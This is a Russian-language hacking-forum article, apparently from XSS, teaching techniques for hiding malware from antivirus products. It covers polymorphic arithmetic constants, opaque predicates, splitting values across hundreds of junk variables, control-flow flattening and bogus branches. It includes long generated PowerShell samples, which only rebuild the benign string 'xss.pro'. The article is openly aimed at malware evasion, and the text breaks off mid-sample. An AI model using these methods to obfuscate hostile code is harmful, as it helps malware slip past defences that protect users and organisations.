• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Методы обхода AV в исходниках C++

Haunt

PWSH
Эксперт
Регистрация
07.11.2019
Сообщения
948
Решения
1
Реакции
1 266
Методы обхода AV в исходниках c++

Делай задержку мат вычислениями. Это самый неявный способ. И результат мат вычислений используй в реальной работе дешифровщика полезной нагрузки. Таким образом убиваешь 2 зайцев сразу - мат вычисления это некий трешген, а сам подсчёт, если он вычислительно сложный - антиэмуль. Если сделаешь мат выражения разные, но при этом дающие один и тот же результат - получаешь полиморфный мусор и антиэмуль. Потом уже над этим полиморфным мусором (твоим мат выражением) проводишь операции разбиения на более сложные сущности. Например у тебя в мат выражении фигурирует цифра 5. Преврати ее в вид
parseInt('opf4opf5opf6'.split('opf')[2])

и ты это вставишь вместо инта в исходник. При этом разделитель делаешь рандомный. И мусорные 4,6 - тоже должны быть рандомные. Таким образом ты с 1 инта в твоём полиморфном мат выражении породил уже вызов апи и операцию со строкой, породив при этом новую строку 'opf4opf5opf6'. Операцию над которой тоже можешь выполнить полиморфным способом. И так далее.

2) второй алгоритм. Мусорных вызовов апи. Получаешь ту же пятерку на предыдущем шаге. А заранее у тебя ассоциативный массив составлен, где ключ это число, а значения к этому ключу - различные апи вызовы, которые дают это число. Часто тот же вин апи может возвращать 0 или 1. Апи по работе со строками может возвращать вообще любые числа, если в аргументах ты передаёшь строку и поиск позиции какого то символа в ней. Делаешь в общем такой ассоциативный массив, чем больше значений, у ключей, тем лучше. Но ты скажешь, какова вероятность вообще, что для нужной нам 5, в нашем ассоциативном массиве будет подходящий ключ? Правильно, никакой. По этому мы 5 разбиваем на слагаемые, так, чтобы одно слагаемое было существующим ключом в твоём ассоциативном массиве, а второе слагаемое - недостающей разницей, чтобы получилось 5. Таким образом получаешь вид api call + k = n. Где n это твоя 5. А api call это opaque predicate. k - слагаемое, просчитанное на основе opaque predicate, чтобы в итоге получить n.


Реализацию не выложу, поскольку 0day разработка. Но описать некоторые алгоритмы могу, что и делаю выше. Есть 2 актора. Это твой вход, то есть сорц. И генератор. Который превращает элементы в твоем коде по определенным правилам. Вот то что выше - это описание алгоритмов для генератора как раз. Задача генератора - сделать из твоего входа, другой выход, сложный как и для понимания, так и для анализа аверами. Это понятие обфускации. Многие обфускаторы, если им подать на вход один и тот же код - делают конечное число выходов. То есть после N раза генерации ты нарвешься на повтор. Можно, конечно, подавать обфускатору на вход его же выход - но рано или поздно ты упрешься в ограничения по размеру кода. Потому что код при обфускации раздувается, а раздувать до бесконечных размеров не выйдет в мире малвари. При этом, ты все равно на каком то этапе при повторении обфускации нарвешься на вариант, который у тебя уже был. И если ты плотно работаешь, то аверы так или иначе внесут сигнатуры всех твоих N разновидностей обфускации. А есть метаморфные обфускаторы. Это значит, что код, выдаваемый на основе одного и того же входа всегда разный, но при этом результатом его исполнения является та же логика, что и во входе. С чего начать и как добиться метаморфности? Имхо нужно начинать с данных. Возьмем простой пример на powershell.

Код:
$x = 'xss.pro'

Символ можно представить в виде int. Возьмем код ASCII для каждого символа отсюда. xss.pro -> 120 115 115 046 105 115
В powershell это выглядело бы так.

[char]120 + [char]115 + [char]115 + [char]046 + [char]105 + [char]115 = 'xss.pro'

Надеюсь с этим все понятно, потому что дальше начинается жара. int мы можем разложить в мат выражение. Произвольное! С точки зрения логики, ответь на вопрос, сколькими способами можно представить число 120(первое в нашем списке)? И как бы выглядел такой алгоритм? Я нашел ответ на этот вопрос. Ответ чуть позже. А пока:

Код:
Глубина у генератора мат выражения - 5.

1 вариант)$(((15 + 38) + (16 * (44 - 40))) + (3)) - дает 120
2 вариант)$(((6 - 33) * (22 + (76 * 68))) + (140250))  - дает 120
3 вариант)$(((39 - 97) * (95 + (85 - 85))) + (5630)) - дает 120
4 вариант)$(((21 + 90) * (80 - (68 - 17))) - (3099)) - дает 120

Глубина у генератора 50.
1 вариант) $((((((28 * (72 + 31)) + (30 * (21 + 54))) - ((14 + (31 + 92)) - (4 * (9 - 98)))) - (((67 + (48 + 93)) - (74 - (58 - 72))) * ((10 - (15 + 98)) * ((94 + 51) - (61 - 68))))) - ((((56 * (80 - 73)) + (90 + (33 * 72))) + ((2 - (43 - 14)) + (64 - (44 * 41)))) + (((5 + (87 - 30)) + (48 + (39 * 34))) - ((67 - (20 * 91)) + ((47 * 15) + (57 + 72)))))) - (1879795)) - дает 120
2 вариант) $((((((32 - (29 * 70)) - (15 + (82 - 67))) * ((94 - (34 + 92)) * (81 + (85 + 67)))) - (((71 + (74 + 51)) + (15 - (38 + 4))) - ((62 + (12 * 15)) - ((93 - 88) + (86 + 29))))) - ((((42 + (38 * 5)) + (93 + (81 * 88))) * ((77 - (3 * 85)) + (1 * (46 - 96)))) + (((23 - (68 * 58)) + (85 * (63 + 7))) + ((45 * (59 * 58)) - ((33 * 77) - (68 - 72)))))) - (16666411)) - дает 120
Думаю хватит..)
А теперь ответ на вопрос "С точки зрения логики, ответь на вопрос, сколькими способами можно представить число 120(первое в нашем списке)?" - Бесконечное множество. В первом шаге мы добились полиморфности константы. Как я сделал генерацию мат выражения - Алгебра 5 класс)) формула: rand_math_expression_tree + x = 120. Твоя задача найти х. "$(((21 + 90) * (80 - (68 - 17))) - (3099)) - дает 120"
Что делаем со строками думаю понятно, да? для каждого char проделываем разбиение и в конце конкатенацию.
Код:
1) $(([string]([char](120))) + ([string]([char](115))) + ([string]([char]($(((78 - 1) * (24 + (54 * 95))) - (396743))))) + ([string]([char]($(((98 * 82) - (80 - (83 - 54))) - (7939))))) + ([string]([char](105))) + ([string]([char]($(((80 * 39) * (79 + (89 * 97))) - (27181325)))))) -> 'xss.pro'
2)  $(([string]([char](120))) + ([string]([char](115))) + ([string]([char](115))) + ([string]([char]($(((96 * 25) + (30 + (35 + 1))) - (2420))))) + ([string]([char](105))) + ([string]([char]($(((4 - 95) - (42 - (58 - 29))) + (219)))))) -> 'xss.pro'
etc...

А дальше мы работаем с элементами нашего math_expression. Ну например, мне не нравится, что мат выражение в одну строку. Я хочу это усложнить вот таким алгоритмом.
Сначала простое понимание. Потом покажу "как на практике".
К примеру у нас 5 разбилась в ((1+1 + 0) + 3) - 10 + 10
Дальше кодогенерация. Все это превращается в
k = 1
l = k
k = d
jk = 1
ll = d + jk
kd = 0
lm = kd
dk = ll + lm
ld = 3
oo = ld
km = oo - 10
x = km + 10

Понятно, да? Мы определяем флоу выполнения из переменных, их присваиваний и переприсваиваний, которое приводит нас к тому, что в x окажется 5.

А теперь боевой пример.
Код:
$EXpuRalHWxfvtQA = (40 - (52 + 29))

$iqgopaRPrmTIQUw = (445869)

$YrWlLbkMaKvIqoc = $iqgopaRPrmTIQUw

$UcbeHrDgGxXtfJu = 59

$xGIUHPKCFLlAZOW = 97

$tGXjPoMVDKhQyLf = ($UcbeHrDgGxXtfJu * $xGIUHPKCFLlAZOW)

$SAZeqvIXzjVQnbt = (78 * $tGXjPoMVDKhQyLf)

$HcByQNoLlREfMUT = 64

$zisgAkOSaYPHDTj = 10

$mGAUMDtQvPxhunb = $zisgAkOSaYPHDTj

$SCqcVYwzQIXxDlb = $mGAUMDtQvPxhunb

$sARFLgGJXcPHETS = $SCqcVYwzQIXxDlb

$wiuclmWXVEbpSIo = $HcByQNoLlREfMUT

$RwELGycBOrjqUzf = ($wiuclmWXVEbpSIo * $sARFLgGJXcPHETS)

$aAhOBXIWgGuRSeN = $SAZeqvIXzjVQnbt

$kGAQNOrZsjHKJmx = $aAhOBXIWgGuRSeN

$iXUkrmbPolOJBFn = $RwELGycBOrjqUzf

$jaCygwBnMiubxEs = $iXUkrmbPolOJBFn

$bmyFiIcZestquNo = $kGAQNOrZsjHKJmx

$eHfBizwONqDWFPb = $jaCygwBnMiubxEs

$PbeKgjHNXBkiLmr = $bmyFiIcZestquNo

$pfiPUlSwuEdeDoz = $PbeKgjHNXBkiLmr

$MGtsTefhUobyDXO = $pfiPUlSwuEdeDoz

$fqwnBAcVXjQoDkh = $eHfBizwONqDWFPb

$PqCcjlNXBERuZTn = ($fqwnBAcVXjQoDkh - $MGtsTefhUobyDXO)

$mEyZwbGTcNUCfjY = $YrWlLbkMaKvIqoc

$LdqPIuTszZDxmkh = $PqCcjlNXBERuZTn

$NxzjtMEimwoeSyl = $mEyZwbGTcNUCfjY

$uZpewXBthxoGqzR = $NxzjtMEimwoeSyl

$nMmKOWJCYhPvFEZ = ([string]([char]($($LdqPIuTszZDxmkh + $uZpewXBthxoGqzR))))

$DWSVzanTkEuRNfw = $nMmKOWJCYhPvFEZ

$augYOzIHVptNFdj = $EXpuRalHWxfvtQA

$tJCXLTMecYBfmqF = $augYOzIHVptNFdj

$gbimxlIoqZcuXwU = 95

$hIdiclvTAWrmLbt = 90

$hrjixlTRXKcaLvH = $hIdiclvTAWrmLbt

$vpqcEmPVbOhYGRK = $gbimxlIoqZcuXwU

$DTPwUIVkqipaZlv = $vpqcEmPVbOhYGRK

$ADVZLYuyGWEwXSl = $DTPwUIVkqipaZlv

$sURSlIObLJQyuwC = $hrjixlTRXKcaLvH

$aFqifsWEAeoZLpY = $ADVZLYuyGWEwXSl

$ESjlifgrUOsTJmI = (($aFqifsWEAeoZLpY * $sURSlIObLJQyuwC) * $tJCXLTMecYBfmqF)

$zpHSTvPGNQBXFyM = ([string]([char]($($ESjlifgrUOsTJmI + (350670)))))

$smSCfxPgvlNeUrT = $DWSVzanTkEuRNfw

$xjlgUhiKJWwPAQk = $zpHSTvPGNQBXFyM

$btnNCdDpWZJVYjc = $smSCfxPgvlNeUrT

$RnmAMPOcfSpwZaJ = $xjlgUhiKJWwPAQk

$rzKHSbqvMWJEtaf = $RnmAMPOcfSpwZaJ

$FLEnwpXuDkcbJSR = $btnNCdDpWZJVYjc

$evlhYAkIQrSCGto = $FLEnwpXuDkcbJSR

$NYMSqDJRBEFQhxb = $rzKHSbqvMWJEtaf

$HOkVlzqMjbdByxP = $evlhYAkIQrSCGto

$tSEejLcYPhpUbFv = $HOkVlzqMjbdByxP

$pEXAMToDQiUeVlh = $NYMSqDJRBEFQhxb

$vHseVNlGPoRSaDU = $tSEejLcYPhpUbFv

$BvzfEZaWsRruoCL = $pEXAMToDQiUeVlh

$PvZEoCMuLVptnGF = $vHseVNlGPoRSaDU

$UpAsoTSbdIKrGPq = $BvzfEZaWsRruoCL + $PvZEoCMuLVptnGF

$kKQSCVAfmMiYDdG = (142)

$qaxnRupCGsQEhSJ = (73 + 12)

$rKlzCovygJeNPSX = 83

$wCJeLBEkZtVRsYu = $rKlzCovygJeNPSX

$eEbshOPWcTCjnaq = 99

$ipKQxTZDdLGUPfz = $eEbshOPWcTCjnaq

$uCMPhFmaspfwGSq = $ipKQxTZDdLGUPfz

$iweUPDpntAmBhFS = $uCMPhFmaspfwGSq

$poAySwLhVdBtnvC = $wCJeLBEkZtVRsYu

$hBNgkGjZyfQAcHn = ($iweUPDpntAmBhFS - $poAySwLhVdBtnvC)

$SGExZkLNYmzChpb = $hBNgkGjZyfQAcHn

$cmidxtZHnVzXChO = 87

$tzgWjirKMFyRxmV = $cmidxtZHnVzXChO

$uSVdICxEeWLPlKs = $SGExZkLNYmzChpb

$SrsBWfdIYkhAZPn = ($tzgWjirKMFyRxmV + $uSVdICxEeWLPlKs)

$DNLRHBWKGMTtgwx = $SrsBWfdIYkhAZPn

$yWbAGxrsplCUokY = $DNLRHBWKGMTtgwx

$xBianfhsTkoMYjE = ($qaxnRupCGsQEhSJ + $yWbAGxrsplCUokY)

$mZdCTHAkvSJwyuB = $xBianfhsTkoMYjE

$RpZwGvrJsPVYjIf = $mZdCTHAkvSJwyuB

$UKTSmZqnPVRJegY = $kKQSCVAfmMiYDdG

$skUbhNfXWeYuZDq = $RpZwGvrJsPVYjIf

$EaTkFROXCysmbzI = $skUbhNfXWeYuZDq

$KuFxXYlVtoaShyI = $UKTSmZqnPVRJegY

$geWXQulNkSCdmRU = $EaTkFROXCysmbzI

$WkXYBfloGVyZRuP = $geWXQulNkSCdmRU

$lAUCQvFuIhoRBwy = $WkXYBfloGVyZRuP

$yKTPEhvmHgSqYbG = $KuFxXYlVtoaShyI

$ngjwUOWYfGoveAM = $lAUCQvFuIhoRBwy

$rQMeYuclEgidSHt = $yKTPEhvmHgSqYbG

$cQyaHZrMAouBlib = $ngjwUOWYfGoveAM

$BhlYDEmNfcsGWwI = $rQMeYuclEgidSHt

$JnrfYpZvEgOqhXj = $BhlYDEmNfcsGWwI

$gvrkPEqxfiIRLmJ = $JnrfYpZvEgOqhXj

$AQEuTBanwlJRkvL = $cQyaHZrMAouBlib

$mMHWsfRUJtIlgve = $AQEuTBanwlJRkvL

$RrfZhVYuyTBsUXO = $gvrkPEqxfiIRLmJ

$XszuMKyTjNbHIxY = $RrfZhVYuyTBsUXO

$hHxwyMjJLtDrTpI = $XszuMKyTjNbHIxY

$LZfhqwlSNaboDRP = $hHxwyMjJLtDrTpI

$dbmxyTNjPspWkAa = $mMHWsfRUJtIlgve

$XfMzaIyuUwdtHTj = $dbmxyTNjPspWkAa

$CJpqDXvoiRagzST = $XfMzaIyuUwdtHTj

$ZWoykHJTFchRPlu = $LZfhqwlSNaboDRP

$MYAqxiHjDcmJShR = $CJpqDXvoiRagzST

$KnkHWtjvEGbdgzU = $ZWoykHJTFchRPlu

$PnzRDJOqfYIpcMs = $KnkHWtjvEGbdgzU

$ZCcamHkKsedtIYb = $PnzRDJOqfYIpcMs

$szbiaOehWoGclrj = ([string]([char]($($MYAqxiHjDcmJShR - $ZCcamHkKsedtIYb))))

$qyImCNlfZKzibdD = 52

$kXgBNWAueVIhKHZ = $qyImCNlfZKzibdD

$gcpfHOGsNklLTmu = (68 + $kXgBNWAueVIhKHZ)

$tgIYCibSawxfDyB = 54

$yHgvkGoFzIahNwT = 15

$iFrscBdWlzPYDfX = $tgIYCibSawxfDyB

$sLBaMUCINyceXvA = $iFrscBdWlzPYDfX

$itkyNKYpLBPOvWR = (17 - ($yHgvkGoFzIahNwT - $sLBaMUCINyceXvA))

$ORrIuJNmaxklTjB = ($gcpfHOGsNklLTmu + $itkyNKYpLBPOvWR)

$lqRJoaNrsWDmjBe = $ORrIuJNmaxklTjB

$LwZebAmvKgPDkXl = $lqRJoaNrsWDmjBe

$NUZVvenyWcpjwls = ([string]([char]($($LwZebAmvKgPDkXl - (61)))))

$enaCGJILwbrxhdi = $NUZVvenyWcpjwls

$SIAwUCtDMaXojRO = $UpAsoTSbdIKrGPq

$NzDKLSJopOlBcCv = $enaCGJILwbrxhdi

$SNpMXzGiYalgEAs = $NzDKLSJopOlBcCv

$QXnjcYqgUsMrSAd = $SNpMXzGiYalgEAs

$esXcyUTZjaonEtQ = $SIAwUCtDMaXojRO

$rGRTDistEwASYJZ = $esXcyUTZjaonEtQ

$SUPXKLvpmhAgDuW = $rGRTDistEwASYJZ

$aGUTxjzDtmNlvQw = $QXnjcYqgUsMrSAd

$RWuSwglVpeUbXia = $SUPXKLvpmhAgDuW

$DpLeukIyzPmcaKX = $aGUTxjzDtmNlvQw

$aLoWEYbBAHildtn = $DpLeukIyzPmcaKX

$ZEBkixFpzvRNYsW = $aLoWEYbBAHildtn

$JHCyILuzQDWETSs = $RWuSwglVpeUbXia

$kLJzDrsxGdpXbqv = $ZEBkixFpzvRNYsW

$nAqdUEDkjNMlIHS = $JHCyILuzQDWETSs

$BZGJzkDvaSobCLV = $nAqdUEDkjNMlIHS + $kLJzDrsxGdpXbqv

$jrXVkMciAuTbxKg = $BZGJzkDvaSobCLV

$lfvPzCKJRnoZyVF = $jrXVkMciAuTbxKg + $szbiaOehWoGclrj

$zTymKWEYuipJwCb = (133)

$qtfjgAlhoPJxDEk = 40

$QHKjUhotPagYSTx = 69

$yVKWlAYxRszCbTn = 50

$YXZGlMpahmKEtNq = ($QHKjUhotPagYSTx + $yVKWlAYxRszCbTn)

$SohdzumyAIlZFJN = $qtfjgAlhoPJxDEk

$hxWuTgFvlirOREs = $YXZGlMpahmKEtNq

$uXeGrNxPVzHypoU = $hxWuTgFvlirOREs

$WmwYLAGKBsztjor = $uXeGrNxPVzHypoU

$ABtlbVwCoOniXMS = $SohdzumyAIlZFJN

$oUHKlPuMkdVfjXz = $WmwYLAGKBsztjor

$EqlCjVmuntcBvIT = $ABtlbVwCoOniXMS

$uhmNDWAtCiLOkla = $oUHKlPuMkdVfjXz

$wkjZmoSalVeYACi = $EqlCjVmuntcBvIT

$eYFruzldqNgJyAv = $wkjZmoSalVeYACi

$TyOlPFAVSxheXCc = $eYFruzldqNgJyAv

$zxnIJUgcyiKXuGF = $TyOlPFAVSxheXCc

$QWcpvVFarPqnGTL = $uhmNDWAtCiLOkla

$RxOcBnZJGsNWUlw = ($zxnIJUgcyiKXuGF + $QWcpvVFarPqnGTL)

$DONMQbfFcPZtICz = 79

$OvfuigaNIxLMdZU = (62 + $DONMQbfFcPZtICz)

$VFZdGmtEXehbHRI = $RxOcBnZJGsNWUlw

$gitOTGZzPQVvaHA = $OvfuigaNIxLMdZU

$mCyNZqalLsUWKoT = $gitOTGZzPQVvaHA

$aVbWrjMRizhcAlU = $VFZdGmtEXehbHRI

$qUyOKHtVldJkShz = ($mCyNZqalLsUWKoT - $aVbWrjMRizhcAlU)

$LJAhGHnlODrvaFC = $qUyOKHtVldJkShz

$WQnHJroXbDKhFPt = $LJAhGHnlODrvaFC

$hrGLSqnMARzgFuD = $zTymKWEYuipJwCb

$yiJvXFMoxwBsumZ = $WQnHJroXbDKhFPt

$yYFRTzjHkNiVLZo = $yiJvXFMoxwBsumZ

$DjUxQGHmukoqFcT = $yYFRTzjHkNiVLZo

$BmtgslwCuQvJInx = $hrGLSqnMARzgFuD

$TFWXgOyBVjwkmHs = $BmtgslwCuQvJInx

$laQxKOWbzqMLgcv = $TFWXgOyBVjwkmHs

$KVLNuhBePAwScRx = $DjUxQGHmukoqFcT

$mzbnpPSIeoQCNXK = $KVLNuhBePAwScRx

$qigWKYBzvXUuEjt = $mzbnpPSIeoQCNXK

$BAEqQHvNshIekYg = ([string]([char]($($qigWKYBzvXUuEjt + $laQxKOWbzqMLgcv))))

$xMyAQlsJIagdfEK = $lfvPzCKJRnoZyVF

$vjeZRtWTlsdpxfS = $xMyAQlsJIagdfEK

$AxQzYsfUHChoGLc = (394)

$dUzKsGlqwnTRiVf = $AxQzYsfUHChoGLc

$YTZByjgLtpExiFk = 33

$rYiPyglGFshfoLV = 19

$vEWhsPbMDuycnYH = ($YTZByjgLtpExiFk + $rYiPyglGFshfoLV)

$hMTfnBoLCrskVQz = (7 * 53)

$nXGleKPYIELmvip = $hMTfnBoLCrskVQz

$ixuOHJlaRtrgpBG = 76

$ajtfnShiOeGqIgr = $nXGleKPYIELmvip

$kAqYZzyIPpTMUOJ = ($ixuOHJlaRtrgpBG + $ajtfnShiOeGqIgr)

$YOSDkxmwtBnpjRv = $vEWhsPbMDuycnYH

$iIBPVRAYpOlqdxC = $kAqYZzyIPpTMUOJ

$rvDYUyZTMBJwhxk = $YOSDkxmwtBnpjRv

$FItmZKykhsEeiap = ($rvDYUyZTMBJwhxk + $iIBPVRAYpOlqdxC)

$ExAgWGIsaScLqfu = $dUzKsGlqwnTRiVf

$fhnYzMZywOQGoju = ([string]([char]($($FItmZKykhsEeiap - $ExAgWGIsaScLqfu))))

$hEiUVIOcbTdsNqm = $vjeZRtWTlsdpxfS

$PrjwWKodTqebBDx = $fhnYzMZywOQGoju

$pvWrgLzNfSntyUd = $hEiUVIOcbTdsNqm

$ljkcFeBrYMPOISy = $PrjwWKodTqebBDx

$NoPkjEUYDaGIsVR = $pvWrgLzNfSntyUd + $ljkcFeBrYMPOISy

$piTdSNAqOjrbBgE = $NoPkjEUYDaGIsVR

$yPmnvCphSzxqjQZ = $BAEqQHvNshIekYg

$x = $($piTdSNAqOjrbBgE + $yPmnvCphSzxqjQZ)
Поскольку на первом шаге мы получили полиморфную репрезентацию константы, то на этом шаге мы получили 100500 переменных со своим уникальным состоянием, которое, в свою очередь, приводит к уникальному состоянию всего скрипта. При каждой генерации это состояние будет уникальным. Но при этом весь флоу выполнения приводит к тому, чтобы в $x оказался 'xss.pro';)

parseInt('opf4opf5opf6'.split('opf')[2])
Теперь касательно этой техники. Что тут было не ясно? Это выражение должен создать генератор и вставить на место 5. При выполнении получается та же 5. Как сделать и его полиморфным?
В бой.
Код:
https://pastebin.com/T7cknk9c
Поскольку наш генератор умный и работает с AST яп, а не на шаблонах, то он заменяет все интовые вхождения, включая индекс [2], благодаря чему получается такая интересная вложенность в боевом примере.
$gjyodIQzwSmEDtr = $([int]("36GEhZrfKFMdmkOgA28GEhZrfKFMdmkOgA62GEhZrfKFMdmkOgA27GEhZrfKFMdmkOgA92GEhZrfKFMdmkOgA53GEhZrfKFMdmkOgA40GEhZrfKFMdmkOgA13GEhZrfKFMdmkOgA23GEhZrfKFMdmkOgA18" -split "GEhZrfKFMdmkOgA")[$([int]("51NwsyQhtxDgKYcBR71NwsyQhtxDgKYcBR61NwsyQhtxDgKYcBR26NwsyQhtxDgKYcBR28NwsyQhtxDgKYcBR55NwsyQhtxDgKYcBR0NwsyQhtxDgKYcBR34NwsyQhtxDgKYcBR20NwsyQhtxDgKYcBR84" -split "NwsyQhtxDgKYcBR")[$([int]("73DifWItmGNzBvKOJ11DifWItmGNzBvKOJ51DifWItmGNzBvKOJ21DifWItmGNzBvKOJ30DifWItmGNzBvKOJ17DifWItmGNzBvKOJ97DifWItmGNzBvKOJ6DifWItmGNzBvKOJ90DifWItmGNzBvKOJ94" -split "DifWItmGNzBvKOJ")[$([int]("80pBiQGtJkSrzgEeF71pBiQGtJkSrzgEeF7pBiQGtJkSrzgEeF2pBiQGtJkSrzgEeF79pBiQGtJkSrzgEeF40pBiQGtJkSrzgEeF10pBiQGtJkSrzgEeF8pBiQGtJkSrzgEeF27pBiQGtJkSrzgEeF29" -split "pBiQGtJkSrzgEeF")[2])])])])

Инты, отвечающие за индексы, превращаются в такой же splitted вид.
А теперь запутаем ход выполнения с помощью Control Flow Flattening. Если не знаешь, что это такое, то вот 2 картинки. По ним все понятно.
cff.png

cff2.png




У меня дефолтная реализация этого алгоритма, за исключением одного "но".
Но, сначала посмотрим на боевой код, который порождает этот генератор из нашего начального сорца $x = 'xss.pro'.
Код:
https://pastebin.com/bgBuC2Pv
switch case в powershell работает таким образом, что case может быть как константой, так и вычисляемым выражением.Возьмем сниппет case блока из примера по ссылке.
$(((62 + 32) * (46 + (18 * 53))) + (783741864))
{
$VjnsxotMifqHRSL = $(((76 * 44) * (34 + (70 - 51))) + (1553393723));
$cnwlTBaHRqOzmxG = $CymAsYVpNQJxOLz
}


Это полноценный case. Только вот в каком случае произойдет на него прыжок? Чтобы это узнать - надо посчитать $(((62 + 32) * (46 + (18 * 53))) + (783741864)). Чтобы узнать место следующего прыжка - надо просчитать $VjnsxotMifqHRSL = $(((76 * 44) * (34 + (70 - 51))) + (1553393723));
А $cnwlTBaHRqOzmxG = $CymAsYVpNQJxOLz - это реальная инструкция, взятая с предыдущих шагов обфускации. Но когда она выполнится?)
Чтобы понять, что за чем будет выполняться и как этот код работает, и в какой последовательности - надо сначала просмотреть все case, высчитать их значения, потом просмотреть место следующего прыжка, его тоже высчитать и восстановить правильную последовательность флоу. Control flow flattening мы применили тут как раз к предыдущему шагу, когда разбили мат выражение на 100500 переменных. Имеем, значит такую последовательность. Разбили константу в полиморфное мат выражение -> разбили мат выражение в 100500 переменных, с уникальным состоянием. А потом поморфили флоу выполнения. Где места прыжков и передача флоу не в открытом виде, а тоже является вычисляемой величиной. То есть это opaque predicate - результат известный нам при генерации, но который нельзя получить без вычисления руками и/или эмуляции автоматикой.
Есть еще алгоритм Bogus Flow Flattening. Он у меня тоже имеется в реализации, но его уже выставлять не буду, лень билдить. Лучше просто скажу что это такое.
Суть bff алгоритма в том, что мы все statements в коде оборачиваем в if else конструкции. При этом мы генерируем для if в условии opaque predicate. Такое, чтобы нельзя было на него просто глянуть и понять без вычисления, что будет истиной, а что ложью.
Например имеем код
x = 5
y = 6
z = x + y.
Допустим, что в генераторе рандом определил, что if будет ложным а else тру.
Тогда генерируется для первого стейтмента x = 5 такой код.
Код:
if(2 > 2){
try{
//тут_рандомный_стейтмент из всего нашего кода, например y = 6. Он все равно никогда не выполнится в этой ветке.
}
catch{}
}
else{
x = 5
}
Если генератор решит, что if должен быть true(условие выполняется) - то обратная операция, в else будет код, который никогда не выполнится.
Тот код, который никогда не выполнится, можно взять либо из своего же кода, распарсив его на стейтменты, либо из заранее заготовленого списка, либо парсить рандомные сорцы, взятые хз откуда, на стейтменты.
Само условие должно быть opaque predicate, то есть не 2 > 2. А что то, что должно вычислиться в рантайме. Например в данном случае ты обе двойки можешь прогнать через первый алгоритм, который я описал.


Следующий алгоритм в нашем арсенале. Я зову его "пошел нахуй аверский реверсер". Лучше один раз увидеть, чем сто раз услышать.
Простой пример в простейшем виде, для понимания логики:
Подаем на вход:
Код:
$x = 'xss.pro'

Стало после 1 итерации морфера.
Код:
$OMAafUsBZNHkJSg = @('xss.pro')
$x = $OMAafUsBZNHkJSg[0]
Стало после 3 итераций
Код:
$JiDToNRmvYzXIVd = @('xss.pro',0,0,1)
$xlEDPeFihuGyzLU = @($JiDToNRmvYzXIVd[0],$JiDToNRmvYzXIVd[1])
$ZOWiFXSIQyEgzer = @($xlEDPeFihuGyzLU[$JiDToNRmvYzXIVd[2]])
$x = $ZOWiFXSIQyEgzer[$xlEDPeFihuGyzLU[$JiDToNRmvYzXIVd[3]]]
Уже ребус ебанный. Особенно, если не знаешь что искомое это 'xss.pro'.
Стало после 10 итераций.
Код:
$GEjhTeFJBovkpNM = @('xss.pro',0,0,1,0,1,2,3,0,1,2,3,4,5,6,7,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255)
$LVWvnNbyRShojaw = @($GEjhTeFJBovkpNM[0],$GEjhTeFJBovkpNM[1],$GEjhTeFJBovkpNM[2],$GEjhTeFJBovkpNM[3],$GEjhTeFJBovkpNM[4],$GEjhTeFJBovkpNM[5],$GEjhTeFJBovkpNM[6],$GEjhTeFJBovkpNM[7],$GEjhTeFJBovkpNM[8],$GEjhTeFJBovkpNM[9],$GEjhTeFJBovkpNM[10],$GEjhTeFJBovkpNM[11],$GEjhTeFJBovkpNM[12],$GEjhTeFJBovkpNM[13],$GEjhTeFJBovkpNM[14],$GEjhTeFJBovkpNM[15],$GEjhTeFJBovkpNM[16],$GEjhTeFJBovkpNM[17],$GEjhTeFJBovkpNM[18],$GEjhTeFJBovkpNM[19],$GEjhTeFJBovkpNM[20],$GEjhTeFJBovkpNM[21],$GEjhTeFJBovkpNM[22],$GEjhTeFJBovkpNM[23],$GEjhTeFJBovkpNM[24],$GEjhTeFJBovkpNM[25],$GEjhTeFJBovkpNM[26],$GEjhTeFJBovkpNM[27],$GEjhTeFJBovkpNM[28],$GEjhTeFJBovkpNM[29],$GEjhTeFJBovkpNM[30],$GEjhTeFJBovkpNM[31],$GEjhTeFJBovkpNM[32],$GEjhTeFJBovkpNM[33],$GEjhTeFJBovkpNM[34],$GEjhTeFJBovkpNM[35],$GEjhTeFJBovkpNM[36],$GEjhTeFJBovkpNM[37],$GEjhTeFJBovkpNM[38],$GEjhTeFJBovkpNM[39],$GEjhTeFJBovkpNM[40],$GEjhTeFJBovkpNM[41],$GEjhTeFJBovkpNM[42],$GEjhTeFJBovkpNM[43],$GEjhTeFJBovkpNM[44],$GEjhTeFJBovkpNM[45],$GEjhTeFJBovkpNM[46],$GEjhTeFJBovkpNM[47],$GEjhTeFJBovkpNM[48],$GEjhTeFJBovkpNM[49],$GEjhTeFJBovkpNM[50],$GEjhTeFJBovkpNM[51],$GEjhTeFJBovkpNM[52],$GEjhTeFJBovkpNM[53],$GEjhTeFJBovkpNM[54],$GEjhTeFJBovkpNM[55],$GEjhTeFJBovkpNM[56],$G